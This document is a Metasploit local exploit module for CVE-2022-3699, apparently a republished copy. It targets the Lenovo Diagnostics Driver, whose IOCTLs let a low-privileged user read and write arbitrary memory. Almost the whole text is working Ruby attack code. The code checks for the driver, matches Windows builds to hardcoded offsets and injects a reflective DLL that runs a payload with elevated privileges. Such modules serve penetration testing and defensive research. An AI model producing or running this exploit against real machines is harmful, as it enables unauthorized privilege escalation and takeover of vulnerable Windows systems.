Lenovo Diagnostics Driver Memory Access

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GoodRanking  
  
include Msf::Exploit::Local::WindowsKernel  
include Msf::Post::File  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::Process  
include Msf::Post::Windows::ReflectiveDLLInjection  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
{  
'Name' => 'Lenovo Diagnostics Driver IOCTL memmove',  
'Description' => %q{  
Incorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to  
issue device IOCTLs to perform arbitrary physical/virtual memory read/write.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'alfarom256', # Original PoC  
'jheysel-r7' # msf module  
],  
'Arch' => [ ARCH_X64 ],  
'Platform' => 'win',  
'SessionTypes' => [ 'meterpreter' ],  
'DefaultOptions' => {  
'EXITFUNC' => 'thread'  
},  
'Targets' => [  
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]  
],  
'References' => [  
[ 'CVE', '2022-3699' ],  
[ 'URL', 'https://github.com/alfarom256/CVE-2022-3699/' ]  
],  
'DisclosureDate' => '2022-11-09',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => []  
},  
'Compat' => {  
'Meterpreter' => {  
'Commands' => %w[  
stdapi_railgun_api  
]  
}  
}  
}  
)  
)  
end  
  
def check  
unless session.platform == 'windows'  
# Non-Windows systems are definitely not affected.  
return Exploit::CheckCode::Safe  
end  
  
handle = open_device('\\\\.\\LenovoDiagnosticsDriver', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')  
if handle.nil?  
return Exploit::CheckCode::Safe  
end  
  
session.railgun.kernel32.CloseHandle(handle)  
CheckCode::Appears  
end  
  
def target_compatible?  
build_num = sysinfo['OS'].match(/Build (\d+)/)[1].to_i  
vprint_status("Windows Build Number = #{build_num}")  
  
return true if sysinfo['OS'] =~ /Windows 10/ && build_num >= 14393 && build_num <= 19045  
return true if sysinfo['OS'] =~ /Windows 11/ && build_num == 22000  
return true if sysinfo['OS'] =~ /Windows 2016\+/ && build_num >= 17763 && build_num <= 20348  
  
false  
end  
  
def exploit  
if is_system?  
fail_with(Failure::None, 'Session is already elevated')  
end  
  
# check that the target is a compatible version of Windows (since the offsets are hardcoded) before loading the RDLL  
unless target_compatible?  
fail_with(Failure::NoTarget, 'The exploit does not support this target')  
end  
  
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86  
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')  
elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86  
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')  
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64  
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')  
end  
  
encoded_payload = payload.encoded  
execute_dll(  
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-3699', 'CVE-2022-3699.x64.dll'),  
[encoded_payload.length].pack('I<') + encoded_payload  
)  
  
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')  
end  
end  
`